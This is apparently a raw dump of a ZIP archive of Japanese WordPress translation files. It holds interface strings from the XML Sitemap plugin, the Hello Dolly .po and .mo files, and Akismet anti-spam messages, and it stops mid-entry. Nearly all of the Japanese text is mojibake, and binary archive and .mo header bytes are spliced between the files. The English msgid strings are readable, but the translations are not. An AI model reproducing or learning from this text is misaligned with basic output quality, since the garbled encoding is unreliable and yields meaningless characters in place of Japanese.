å½¢å¼ã§ãªã‘れã°ãªã‚Šã¾ã›ã‚“。内容をç†è§£ã—ãªã„ã§ãƒ«ãƒ¼ãƒ«ã‚’追加ã™ã‚‹ã¨ã€æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ãŒã‚µã‚¤ãƒˆã‚’アクセスã™ã‚‹å¦¨ã’ã¨ãªã‚‹å ´åˆãŒã‚りã¾ã™ã€‚驿­£ãªã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã ã‘ãŒã‚µã‚¤ãƒˆãƒžãƒƒãƒ—インデックスã¨ã—ã¦èªã‚られã¾ã™ã€‚Google/Bing ウェブマスターツールを使ã£ã¦æ¤œè¨¼ã—ã¾ã—ょㆠ!論説æ„見コンテンツ有料 (購読)Ping-O-Maticプレスリリース優先度:投稿ã”ã¨ã«å„ªå…ˆåº¦ã‚’変更ã§ãã¾ã™ã€‚優先度ã®è¨­å®šã¯æ¤œç´¢çµæžœã«ãŠã‘るランキングã¸ã¾ã£ãŸã影響ã—ã¾ã›ã‚“。検索エンジンã«ã©ã® URL を最åˆã«ã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ã—ã¦æ¬²ã—ã„ã‹ã‚’ä¼ãˆã‚‹ã ã‘ã§ã™ã€‚ã„ã£ãŸã‚“ URL ãŒã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ã•れるã¨ã€å„ªå…ˆåº¦ã¯ Lastmod ãŒæ›´æ–°ã•れるã¾ã§ã¯ç„¡è¦–ã•れã¾ã™ã€‚優先度ã¯ç›¸å¯¾çš„ãªå€¤ã§ã™ã€‚ãœã‚“ã¶åŒã˜ (高ã„) 値ã«ã™ã‚‹ã®ã¯ç„¡æ„味ã§ã™ã€‚パブリケーションåRavanHニュースæä¾›å…ƒãƒ©ãƒ™ãƒ«ã«ã¤ã„ã¦è©³ã—ã㯠%s を読んã§ãã ã•ã„。登録XML サイトマップをリセットWordPress ãŒç”Ÿæˆã™ã‚‹ %s ã¸è¿½åŠ ã™ã‚‹ãƒ«ãƒ¼ãƒ«:風刺ã“れをé¸ã¶ã¨ã€å¤‰æ›´ã‚’ä¿å­˜ã—ãŸå¾Œã« XML Sitemap & Google News Sitemap ã®è¨­å®šãŒã™ã¹ã¦æ¶ˆåŽ»ã•れã¾ã™ã€‚よã‚ã—ã„ã§ã™ã‹?カテゴリーã«ã‚ˆã‚‹é¸æŠžã¯ã€ä¸Šã®è¨­å®šã«æŠ•稿タイプ %s ãŒå«ã¾ã‚Œã¦ã„ã‚‹ã¨ãã ã‘使ãˆã¾ã™ã€‚コンマã§åŒºåˆ‡ã£ã¦ãã ã•ã„。新ã—ãコメントãŒã¤ã„ãŸã¨ãã«å†ã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ã‚’行ã‚ã›ãŸã‘れã°ã‚»ãƒƒãƒˆã—ã¦ãã ã•ã„。ニュースæä¾›å…ƒãƒ©ãƒ™ãƒ«ãƒ‹ãƒ¥ãƒ¼ã‚¹æä¾›å…ƒãƒ©ãƒ™ãƒ«ã¯è¨˜äº‹ã®å†…容ã«ã¤ã„ã¦ã‚‚ã£ã¨æƒ…報をæä¾›ã—ã¾ã™ã€‚分割:サイトマップ生æˆãŒå¤±æ•—ã—ãŸã‚Šé…ã‹ã£ãŸã‚Šã—ãŸã‚‰å¹´ã§åˆ†ã‘ã¦ãã ã•ã„。ã”ãã¾ã‚Œã«æœˆã§åˆ†ã‘ã‚‹å¿…è¦ãŒã‚ã‚‹ã‹ã‚‚ã—れã¾ã›ã‚“。購読– %2$s ã« %1$s ã®é€ä¿¡æˆåŠŸã€‚ãƒ‘ã‚¹ãƒ¯ãƒ¼ãƒ‰ä¿è­·ã•ã‚ŒãŸæŠ•ç¨¿ã«ã¤ã‘ã‚‹ã‚¿ã‚°:ãµã¤ã†ã®æŠ•稿ã«ã¤ã‘ã‚‹ã‚¿ã‚°:%4$s ã‚¿ã‚°ã¯ã€ã™ã¹ã¦ã®èª­è€…ãŒè¡¨ç¤ºã§ãる記事 (%1$s) ã‹ã€ã‚µã‚¤ãƒˆã®ç„¡æ–™ (%2$s) ã¾ãŸã¯æœ‰æ–™ (%3$s) 会員ã®ã¿ãŒè¡¨ç¤ºã§ãる記事ã‹ã‚’指定ã—ã¾ã™ã€‚%s タグ㯠Google ニュースã¸é€ä¿¡ã™ã‚‹è¨˜äº‹ã‚’トピックã§åˆ†é¡žã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã—ã¾ã™ã€‚%s ã‚¿ã‚°ã¯è¨˜äº‹ã®ç¨®é¡žã‚’プレスリリース (PressRelease)ã€ãƒ–ログ投稿 (Blog)ã€æ„見 (Opinion)ã€è«–説 (OpEd)ã€ãƒ¦ãƒ¼ã‚¶ãƒ¼ä½œæˆã‚³ãƒ³ãƒ†ãƒ³ãƒ„ (UserGenerated)ã€é¢¨åˆº (Satire) ã‹ã‚‰ã²ã¨ã¤ä»¥ä¸ŠæŒ‡å®šã—ã¾ã™ã€‚ファクト ãƒã‚§ãƒƒã‚¯ ラベルã¯ã€scheme.org ã® ClaimView マークアップã§ç¤ºã•れるファクト ãƒã‚§ãƒƒã‚¯ コンテンツをå«ã‚€è¨˜äº‹ã‚’公開ã™ã‚‹ã¨ãã«ä»˜ã‘ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚パブリケーションå㯠Google ニュースパブリッシャーセンターã¸é€ä¿¡ã™ã‚‹åå‰ã¨ä¸€è‡´ã—ãªã‘れã°ãªã‚Šã¾ã›ã‚“。変更ã—ãŸã‘れ㰠パブリケーションåã®æ›´æ–° ã‚’ãŠèª­ã¿ãã ã•ã„。é™çš„㪠robots.txt ファイルを使ã£ã¦ã„ã‚‹å ´åˆã€ã“ã®ãƒ«ãƒ¼ãƒ«ã¯åŠ¹æžœãŒã‚りã¾ã›ã‚“。以下ã®è¨­å®šã¯ %s プラグインãŒç”Ÿæˆã™ã‚‹ Google ニュース サイトマップを制御ã—ã¾ã™ã€‚以下ã®è¨­å®šã¯ %s プラグインãŒç”Ÿæˆã™ã‚‹ XML サイトマップを制御ã—ã¾ã™ã€‚コメント時㫠Lastmod を更新。トピック㫠%s を使ã†ã€‚è¤‡æ•°é¸æŠžã¾ãŸã¯é¸æŠžè§£é™¤ã™ã‚‹ã«ã¯ Ctrl/Cmd キーを押ã—ãªãŒã‚‰ã‚¯ãƒªãƒƒã‚¯ã—ã¦ãã ã•ã„ã€‚è¤‡æ•°é¸æŠžã¾ãŸã¯é¸æŠžè§£é™¤ã™ã‚‹ã«ã¯ Ctrl/Cmd キーを押ã—ãªãŒã‚‰ã‚¯ãƒªãƒƒã‚¯ã—ã¦ãã ã•ã„。ユーザー作æˆã‚³ãƒ³ãƒ†ãƒ³ãƒ„å„ニュースæä¾›å…ƒãƒ©ãƒ™ãƒ«ã«ã¤ã„ã¦è¨­å®šã¨ãƒ‹ãƒ¥ãƒ¼ã‚¹å†…å®¹ã®æº–å‚™ãŒæ¸ˆã¿ã€ã‚µã‚¤ãƒˆãŒGoogle ニュースガイドラインã«åˆã†ã¨ç¢ºä¿¡ã§ããŸã‚‰ã€ã‚µã‚¤ãƒˆã‚’é€ä¿¡ã—ã¾ã—ょㆠ!XML サイトマップXML サイトマップ & Google ニュースフィードXML Sitemap & Google News feedsXML サイトマップインデックスXML サイトマップ投稿タイプ㮠XML サイトマップタクソノミー㮠XML サイトマップYandex年投稿を書ãã¨ãã«é•ã†ã‚¢ã‚¯ã‚»ã‚¹ãƒ¬ãƒ™ãƒ«ã‚’割り当ã¦ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚投稿を書ãã¨ãã«ç¨®é¡žã‚’指定ã§ãã¾ã™ã€‚ãã†ã™ã‚‹ã«ã¯ç‰¹å®šã® robots.txt ルールを上ã«ã‚ã‚‹ %s フィールドã¸è¿½åŠ ã—ã¾ã™ã€‚http://status301.net/http://status301.net/wordpress-plugins/xml-sitemap-feed/PKø®–[DÒ4¹qqhello-dolly-ja.ponu„[µü¤# Translation of Plugins - Hello Dolly - Stable (latest release) in Japanese # This file is distributed under the same license as the Plugins - Hello Dolly - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2020-10-30 07:03:00+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: ja_JP\n" "Project-Id-Version: Plugins - Hello Dolly - Stable (latest release)\n" #. Author URI of the plugin msgid "https://ma.tt/" msgstr "https://ma.tt/" #. Author of the plugin msgid "Matt Mullenweg" msgstr "マット・マレンウェッグ" #. Description of the plugin msgid "This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from Hello, Dolly in the upper right of your admin screen on every page." msgstr "ã“れã¯ãŸã ã®ãƒ—ラグインã§ã¯ã‚りã¾ã›ã‚“。Louis Armstrong ã«ã‚ˆã£ã¦æ­Œã‚ã‚ŒãŸæœ€ã‚‚有åãªäºŒã¤ã®å˜èªžã€Hello, Dolly ã«è¦ç´„ã•れãŸåŒä¸€ä¸–代ã®ã™ã¹ã¦ã®äººã€…ã®å¸Œæœ›ã¨æƒ…熱を象徴ã™ã‚‹ã‚‚ã®ã§ã™ã€‚ã“ã®ãƒ—ラグインを有効ã«ã™ã‚‹ã¨ã€ã™ã¹ã¦ã®ç®¡ç†ç”»é¢ã®å³ä¸Šã« Hello, Dolly ã‹ã‚‰ã®æ­Œè©žãŒãƒ©ãƒ³ãƒ€ãƒ ã«è¡¨ç¤ºã•れã¾ã™ã€‚" #. Plugin URI of the plugin msgid "https://wordpress.org/plugins/hello-dolly/" msgstr "https://wordpress.org/plugins/hello-dolly/" #. Plugin Name of the plugin msgid "Hello Dolly" msgstr "Hello Dolly"PKø®–[3×X«FFhello-dolly-ja.monu„[µü¤Þ•L |¨ ©µ'Äì*û"& I!U”w *Hello DollyMatt MullenwegThis is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from Hello, Dolly in the upper right of your admin screen on every page.https://ma.tt/https://wordpress.org/plugins/hello-dolly/PO-Revision-Date: 2020-10-30 07:03:00+0000 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=1; plural=0; X-Generator: GlotPress/3.0.0-alpha.2 Language: ja_JP Project-Id-Version: Plugins - Hello Dolly - Stable (latest release) Hello Dollyマット・マレンウェッグã“れã¯ãŸã ã®ãƒ—ラグインã§ã¯ã‚りã¾ã›ã‚“。Louis Armstrong ã«ã‚ˆã£ã¦æ­Œã‚ã‚ŒãŸæœ€ã‚‚有åãªäºŒã¤ã®å˜èªžã€Hello, Dolly ã«è¦ç´„ã•れãŸåŒä¸€ä¸–代ã®ã™ã¹ã¦ã®äººã€…ã®å¸Œæœ›ã¨æƒ…熱を象徴ã™ã‚‹ã‚‚ã®ã§ã™ã€‚ã“ã®ãƒ—ラグインを有効ã«ã™ã‚‹ã¨ã€ã™ã¹ã¦ã®ç®¡ç†ç”»é¢ã®å³ä¸Šã« Hello, Dolly ã‹ã‚‰ã®æ­Œè©žãŒãƒ©ãƒ³ãƒ€ãƒ ã«è¡¨ç¤ºã•れã¾ã™ã€‚https://ma.tt/https://wordpress.org/plugins/hello-dolly/PKø®–[+¼½”” akismet-ja.ponu„[µü¤# Translation of Plugins - Akismet Spam Protection - Stable (latest release) in Japanese # This file is distributed under the same license as the Plugins - Akismet Spam Protection - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2020-10-22 19:38:27+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: ja_JP\n" "Project-Id-Version: Plugins - Akismet Spam Protection - Stable (latest release)\n" #: views/stats.php:4 msgid "Anti-Spam Settings" msgstr "アンãƒã‚¹ãƒ‘ム設定" #. translators: The placeholder is for showing how much of the process has #. completed, as a percent. e.g., "Checking for Spam (40%)" #: class.akismet-admin.php:416 msgid "Checking for Spam (%1$s%)" msgstr "スパムãƒã‚§ãƒƒã‚¯ä¸­ (%1$s%)" #: class.akismet-admin.php:689 msgid "No comment history." msgstr "コメント履歴ãŒã‚りã¾ã›ã‚“。" #: class.akismet-admin.php:657 msgid "Akismet was unable to recheck this comment." msgstr "Akismet ã¯ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’å†ç¢ºèªã§ãã¾ã›ã‚“ã§ã—ãŸã€‚" #: class.akismet-admin.php:649 msgid "Akismet was unable to check this comment but will automatically retry later." msgstr "Akismet ã¯ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’確èªã§ãã¾ã›ã‚“ã§ã—ãŸãŒã€å¾Œã§è‡ªå‹•çš„ã«å†è©¦è¡Œã—ã¾ã™ã€‚" #. translators: The placeholder is a WordPress PHP function name. #: class.akismet-admin.php:618 msgid "Comment was caught by %s." msgstr "%s ãŒã‚³ãƒ¡ãƒ³ãƒˆã‚’キャッãƒã—ã¾ã—ãŸã€‚" #: class.akismet.php:561 msgid "Akismet is not configured. Please enter an API key." msgstr "Akismet ãŒè¨­å®šã•れã¦ã„ã¾ã›ã‚“。 API キーを入力ã—ã¦ãã ã•ã„。" #: views/enter.php:8 msgid "Enter your API key" msgstr "API キーを入力ã—ã¦ãã ã•ã„" #: views/connect-jp.php:66 msgid "Set up a different account" msgstr "別ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’設定" #: views/setup.php:2 msgid "Set up your Akismet account to enable spam filtering on this site." msgstr "Akismet アカウントを設定ã—ã¦ã€ã“ã®ã‚µã‚¤ãƒˆã§ã‚¹ãƒ‘ムフィルタリングを有効ã«ã—ã¾ã—ょã†ã€‚" #: class.akismet-admin.php:1093 msgid "Akismet could not recheck your comments for spam." msgstr "Akismet ã¯ã‚³ãƒ¡ãƒ³ãƒˆã‚¹ãƒ‘ムをå†ãƒã‚§ãƒƒã‚¯ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚" #: class.akismet-admin.php:437 msgid "You don't have permission to do that." msgstr "ã“ã®æ“ä½œã‚’è¡Œã†æ¨©é™ãŒã‚りã¾ã›ã‚“。" #: class.akismet-cli.php:165 msgid "Stats response could not be decoded." msgstr "統計データã®ãƒ¬ã‚¹ãƒãƒ³ã‚¹ã‚’解読ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚" #: class.akismet-cli.php:159 msgid "Currently unable to fetch stats. Please try again." msgstr "一時的ã«çµ±è¨ˆãƒ‡ãƒ¼ã‚¿ã‚’å–å¾—ã™ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“。もã†ä¸€åº¦ãŠè©¦ã—ãã ã•ã„。" #: class.akismet-cli.php:134 msgid "API key must be set to fetch stats." msgstr "統計データをå–å¾—ã™ã‚‹ã«ã¯ API キーを設定ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚" #: views/config.php:162 msgid "To help your site with transparency under privacy laws like the GDPR, Akismet can display a notice to your users under your comment forms. This feature is disabled by default, however, you can turn it on above." msgstr "GDPR ã®ã‚ˆã†ãªãƒ—ライãƒã‚·ãƒ¼æ³•ã«ãŠã‘るサイトã®é€æ˜Žæ€§ç¶­æŒã‚’助ã‘ã‚‹ãŸã‚ã€Akismet ã¯ã‚³ãƒ¡ãƒ³ãƒˆãƒ•ォームã®ä¸‹ã«ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¸ã®é€šçŸ¥ã‚’表示ã§ãã¾ã™ã€‚ã“ã®æ©Ÿèƒ½ã¯ãƒ‡ãƒ•ォルトã§ã¯ç„¡åйã«ãªã£ã¦ã„ã¾ã™ãŒã€ä¸Šã§æœ‰åŠ¹åŒ–ã§ãã¾ã™ã€‚" #: views/config.php:160 msgid "Do not display privacy notice." msgstr "プライãƒã‚·ãƒ¼ã«é–¢ã™ã‚‹é€šçŸ¥ã‚’表示ã—ãªã„。" #: views/config.php:159 msgid "Display a privacy notice under your comment forms." msgstr "コメントフォームã®ä¸‹ã«ãƒ—ライãƒã‚·ãƒ¼ã«é–¢ã™ã‚‹é€šçŸ¥ã‚’表示ã™ã‚‹ã€‚" #: views/config.php:158 msgid "Akismet privacy notice" msgstr "Akismet プライãƒã‚·ãƒ¼é€šçŸ¥" #: views/config.php:155 msgid "Privacy" msgstr "プライãƒã‚·ãƒ¼" #: class.akismet.php:1500 msgid "This site uses Akismet to reduce spam. Learn how your comment data is processed." msgstr "ã“ã®ã‚µã‚¤ãƒˆã¯ã‚¹ãƒ‘ムを低減ã™ã‚‹ãŸã‚ã« Akismet を使ã£ã¦ã„ã¾ã™ã€‚コメントデータã®å‡¦ç†æ–¹æ³•ã®è©³ç´°ã¯ã“ã¡ã‚‰ã‚’ã”覧ãã ã•ã„。" #: class.akismet-admin.php:87 msgid "We collect information about visitors who comment on Sites that use our Akismet anti-spam service. The information we collect depends on how the User sets up Akismet for the Site, but typically includes the commenter's IP address, user agent, referrer, and Site URL (along with other information directly provided by the commenter such as their name, username, email address, and the comment itself)." msgstr "ã“ã®ã‚µã‚¤ãƒˆã§ã¯ Akismet アンãƒã‚¹ãƒ‘ムサービスを通ã˜ã¦ã€ã‚µã‚¤ãƒˆã«ã‚³ãƒ¡ãƒ³ãƒˆã™ã‚‹è¨ªå•者ã«é–¢ã™ã‚‹æƒ…報をåŽé›†ã—ã¾ã™ã€‚åŽé›†ã™ã‚‹æƒ…å ±ã¯ãƒ¦ãƒ¼ã‚¶ãƒ¼ã® Akismet 設定ã«ã‚ˆã£ã¦ç•°ãªã‚Šã¾ã™ãŒã€é€šå¸¸ã€ã‚³ãƒ¡ãƒ³ãƒˆæŠ•稿者㮠IP アドレスã€ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚¨ãƒ¼ã‚¸ã‚§ãƒ³ãƒˆã€ãƒªãƒ•ァラーã€ã‚µã‚¤ãƒˆ URL (ã•らã«ã‚³ãƒ¡ãƒ³ãƒˆæŠ•稿者ãŒç›´æŽ¥æä¾›ã™ã‚‹ãã®ä»–ã®æƒ…報。例ãˆã°æ°åã€ãƒ¦ãƒ¼ã‚¶ãƒ¼åã€ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã€ã‚³ãƒ¡ãƒ³ãƒˆæœ¬æ–‡ãªã©) 。" #: class.akismet.php:236 msgid "Comment discarded." msgstr "コメントã¯å‰Šé™¤ã•れã¾ã—ãŸã€‚" #: class.akismet-rest-api.php:174 msgid "This site's API key is hardcoded and cannot be deleted." msgstr "ã“ã®ã‚µã‚¤ãƒˆã® API キーã¯ãƒãƒ¼ãƒ‰ã‚³ãƒ¼ãƒ‰ã•れã¦ãŠã‚Šã€å‰Šé™¤ã§ãã¾ã›ã‚“。" #: class.akismet-rest-api.php:158 msgid "The value provided is not a valid and registered API key." msgstr "入力ã•れãŸå€¤ã¯ã€æœ‰åйã‹ã¤ç™»éŒ²ã•れ㟠API キーã§ã¯ã‚りã¾ã›ã‚“。" #: class.akismet-rest-api.php:152 msgid "This site's API key is hardcoded and cannot be changed via the API." msgstr "ã“ã®ã‚µã‚¤ãƒˆã® API キーã¯ãƒãƒ¼ãƒ‰ã‚³ãƒ¼ãƒ‰ã•れã¦ãŠã‚Šã€API ã«ã‚ˆã‚Šå¤‰æ›´ã™ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“。" #: class.akismet-rest-api.php:71 class.akismet-rest-api.php:80 msgid "The time period for which to retrieve stats. Options: 60-days, 6-months, all" msgstr "統計情報をå–å¾—ã™ã‚‹æœŸé–“ã€‚é¸æŠžè‚¢: 60日間ã€6ヶ月間ã€å…¨æœŸé–“" #: class.akismet-rest-api.php:56 msgid "If true, show the number of approved comments beside each comment author in the comments list page." msgstr "真ã§ã‚れã°ã€ã‚³ãƒ¡ãƒ³ãƒˆãƒªã‚¹ãƒˆã®ãƒšãƒ¼ã‚¸ã®ã‚³ãƒ¡ãƒ³ãƒˆæŠ•ç¨¿è€…ã®æ¨ªã«ã€æ‰¿èªã•れãŸã‚³ãƒ¡ãƒ³ãƒˆæ•°ã‚’表示ã—ã¾ã™ã€‚" #: class.akismet-rest-api.php:51 msgid "If true, Akismet will automatically discard the worst spam automatically rather than putting it in the spam folder." msgstr "真ã§ã‚れã°ã€Akismet ã¯æœ€ã‚‚悪質ãªç¨®é¡žã®ã‚¹ãƒ‘ãƒ ã‚’ã‚¹ãƒ‘ãƒ ãƒ•ã‚©ãƒ«ãƒ€ãƒ¼ã«æŒ¯ã‚Šåˆ†ã‘ã‚‹ã®ã§ã¯ãªãã€è‡ªå‹•çš„ã«å‰Šé™¤ã—ã¾ã™ã€‚" #: class.akismet-rest-api.php:27 class.akismet-rest-api.php:101 #: class.akismet-rest-api.php:114 class.akismet-rest-api.php:127 msgid "A 12-character Akismet API key. Available at akismet.com/get/" msgstr "12文字㮠Akismet API キーã§ã™ã€‚akismet.com/get/ ã§å…¥æ‰‹ã§ãã¾ã™ã€‚" #: views/notice.php:55 msgid "Your site can’t connect to the Akismet servers." msgstr "サイト㌠Akismet サーãƒãƒ¼ã«æŽ¥ç¶šã§ãã¾ã›ã‚“。" #. translators: %s is the wp-config.php file #: views/predefined.php:7 msgid "An Akismet API key has been defined in the %s file for this site." msgstr "Akismet API キーã¯ã“ã®ã‚µã‚¤ãƒˆã® %s ファイルã§å®šç¾©ã•れã¦ã„ã¾ã™ã€‚" #: views/predefined.php:2 msgid "Manual Configuration" msgstr "手動構æˆ" #: class.akismet-admin.php:234 msgid "On this page, you are able to update your Akismet settings and view spam stats." msgstr "ã“ã®ãƒšãƒ¼ã‚¸ã§ã€Akismet ã®è¨­å®šã‚’æ›´æ–°ã—ã€ã‚¹ãƒ‘ム統計情報を表示ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #. Description of the plugin msgid "Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key." msgstr "何百万もã®åˆ©ç”¨å®Ÿç¸¾ãŒã‚ã‚‹ Akismet ã¯ã‚ãªãŸã®ãƒ–ログをスパムã‹ã‚‰ä¿è­·ã™ã‚‹æœ€è‰¯ã®æ–¹æ³•ã¨ã„ãˆã‚‹ã§ã—ょã†ã€‚ã‚ãªãŸãŒçœ ã‚Šã«ã¤ã„ã¦ã„る時間ã§ã•ãˆã€Akismet ã¯å¸¸æ™‚サイトを守り続ã‘ã¾ã™ã€‚å§‹ã‚ã‚‹ã®ã¯ç°¡å˜ã€‚Akismet プラグインを有効化ã—ãŸã‚‰è¨­å®šãƒšãƒ¼ã‚¸ã§ API キーを設定ã™ã‚‹ã ã‘ã§ã™ã€‚" #. Plugin Name of the plugin #: class.akismet-admin.php:112 class.akismet-admin.php:115 msgid "Akismet Anti-Spam" msgstr "Akismet Anti-Spam (アンãƒã‚¹ãƒ‘ム)" #: views/enter.php:9 msgid "Connect with API key" msgstr "API キーを使ã£ã¦æŽ¥ç¶šã™ã‚‹" #. translators: %s is the WordPress.com username #: views/connect-jp.php:23 views/connect-jp.php:58 msgid "You are connected as %s." msgstr "ã‚ãªãŸã¯ %s ã¨ã—ã¦æŽ¥ç¶šã—ã¦ã„ã¾ã™ã€‚" #: views/connect-jp.php:10 views/connect-jp.php:18 views/connect-jp.php:31 #: views/connect-jp.php:53 views/connect-jp.php:65 msgid "Connect with Jetpack" msgstr "Jetpack ã¨é€£æºã™ã‚‹" #: views/connect-jp.php:12 views/connect-jp.php:25 views/connect-jp.php:48 msgid "Use your Jetpack connection to set up Akismet." msgstr "Jetpack 連æºã‚’利用ã—㦠Akismet を設定ã—ã¾ã—ょã†ã€‚" #: views/title.php:2 msgid "Eliminate spam from your site" msgstr "サイトã‹ã‚‰ã‚¹ãƒ‘ムを一掃" #: views/notice.php:107 msgid "Would you like to check pending comments?" msgstr "ä¿ç•™ä¸­ã®ã‚³ãƒ¡ãƒ³ãƒˆ を確èªã—ã¾ã™ã‹ ?" #: views/notice.php:105 msgid "Akismet is now protecting your site from spam. Happy blogging!" msgstr "Akismet ã¯ç¾åœ¨ã‚µã‚¤ãƒˆã‚’スパムã‹ã‚‰ä¿è­·ã—ã¦ã„ã¾ã™ã€‚ãƒ–ãƒ­ã‚°ã‚’ãŠæ¥½ã—ã¿ãã ã•ã„。" #: views/notice.php:14 views/setup.php:3 msgid "Set up your Akismet account" msgstr "Akismet アカウントを設定" #: views/config.php:26 msgid "Detailed Stats" msgstr "詳ã—ã„統計情報" #: views/config.php:22 msgid "Statistics" msgstr "統計情報" #: class.akismet-admin.php:1197 msgid "Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. It keeps your site protected even while you sleep. To get started, just go to your Akismet Settings page to set up your API key." msgstr "何百万もã®åˆ©ç”¨å®Ÿç¸¾ãŒã‚ã‚‹ Akismet ã¯ã‚ãªãŸã®ãƒ–ログをスパムã‹ã‚‰ä¿è­·ã™ã‚‹æœ€è‰¯ã®æ–¹æ³•ã¨ã„ãˆã‚‹ã§ã—ょã†ã€‚ã‚ãªãŸãŒçœ ã‚Šã«ã¤ã„ã¦ã„る時間ã§ã•ãˆã€Akismet ã¯å¸¸æ™‚サイトを守り続ã‘ã¾ã™ã€‚å§‹ã‚ã‚‹ã«ã¯ã€Akismet 設定ページã«ç§»å‹•ã—ã¦ã‚ãªãŸã® API キーを設定ã—ã¾ã—ょã†ã€‚" #: class.akismet-admin.php:1194 msgid "Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Your site is fully configured and being protected, even while you sleep." msgstr "何百万もã®åˆ©ç”¨å®Ÿç¸¾ãŒã‚ã‚‹ Akismet ã¯ã‚ãªãŸã®ãƒ–ログをスパムã‹ã‚‰ä¿è­·ã™ã‚‹æœ€è‰¯ã®æ–¹æ³•ã¨ã„ãˆã‚‹ã§ã—ょã†ã€‚ã“ã®ã‚µã‚¤ãƒˆã§ã®è¨­å®šã¯å®Œäº†ã—ã¦ãŠã‚Š Akismet ãŒå¸¸æ™‚ä¿è­·ã—ã¦ã„ã¾ã™ã€‚" #: class.akismet-admin.php:1086 msgid "%s comment was caught as spam." msgid_plural "%s comments were caught as spam." msgstr[0] "%sä»¶ã®ã‚³ãƒ¡ãƒ³ãƒˆãŒã‚¹ãƒ‘ムã¨ã—ã¦æ•ç²ã•れã¾ã—ãŸã€‚" #: class.akismet-admin.php:1083 msgid "No comments were caught as spam." msgstr "スパムã¨ã—ã¦æ•æ‰ã—ãŸã‚³ãƒ¡ãƒ³ãƒˆã¯ã‚りã¾ã›ã‚“。" #: class.akismet-admin.php:1079 msgid "Akismet checked %s comment." msgid_plural "Akismet checked %s comments." msgstr[0] "Akismet ã¯%sä»¶ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’ãƒã‚§ãƒƒã‚¯ã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:1076 msgid "There were no comments to check. Akismet will only check comments awaiting moderation." msgstr "ãƒã‚§ãƒƒã‚¯ã™ã‚‹ã‚³ãƒ¡ãƒ³ãƒˆã¯ã‚りã¾ã›ã‚“ã§ã—ãŸã€‚Akismet ã¯æ‰¿èªå¾…ã¡ã®ã‚³ãƒ¡ãƒ³ãƒˆã®ã¿ã‚’ãƒã‚§ãƒƒã‚¯ã—ã¾ã™ã€‚" #: class.akismet.php:567 msgid "Comment not found." msgstr "コメントãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“。" #: class.akismet-cli.php:88 msgid "%d comment could not be checked." msgid_plural "%d comments could not be checked." msgstr[0] "%dä»¶ã®ã‚³ãƒ¡ãƒ³ãƒˆãŒãƒã‚§ãƒƒã‚¯ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚" #: class.akismet-cli.php:85 msgid "%d comment moved to Spam." msgid_plural "%d comments moved to Spam." msgstr[0] "%dä»¶ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’スパムã¨ã—ã¦å‡¦ç†ã—ã¾ã—ãŸã€‚" #: class.akismet-cli.php:84 msgid "Processed %d comment." msgid_plural "Processed %d comments." msgstr[0] "%dä»¶ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’処ç†ã—ã¾ã—ãŸã€‚" #: class.akismet-cli.php:46 msgid "Comment #%d could not be checked." msgstr "コメント #%d ã‚’ãƒã‚§ãƒƒã‚¯ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚" #: class.akismet-cli.php:43 msgid "Failed to connect to Akismet." msgstr "Akismet ã¨ã®æŽ¥ç¶šã«å¤±æ•—ã—ã¾ã—ãŸã€‚" #: class.akismet-cli.php:39 msgid "Comment #%d is not spam." msgstr "コメント #%d ã¯ã‚¹ãƒ‘ムã§ã¯ã‚りã¾ã›ã‚“。" #: class.akismet-cli.php:36 msgid "Comment #%d is spam." msgstr "コメント #%d ã¯ã‚¹ãƒ‘ムã§ã™ã€‚" #: views/config.php:49 msgid "%s false positive" msgid_plural "%s false positives" msgstr[0] "%sä»¶ã®èª¤åˆ¤å®š" #: views/config.php:47 msgid "%s missed spam" msgid_plural "%s missed spam" msgstr[0] "%sä»¶ã®ã‚¹ãƒ‘ム見è½ã¨ã—" #: views/notice.php:85 msgid "You don’t have an Akismet plan." msgstr "ç¾åœ¨ã”利用中㮠Akismet プランã¯ã‚りã¾ã›ã‚“。" #: views/notice.php:70 msgid "Your Akismet subscription is 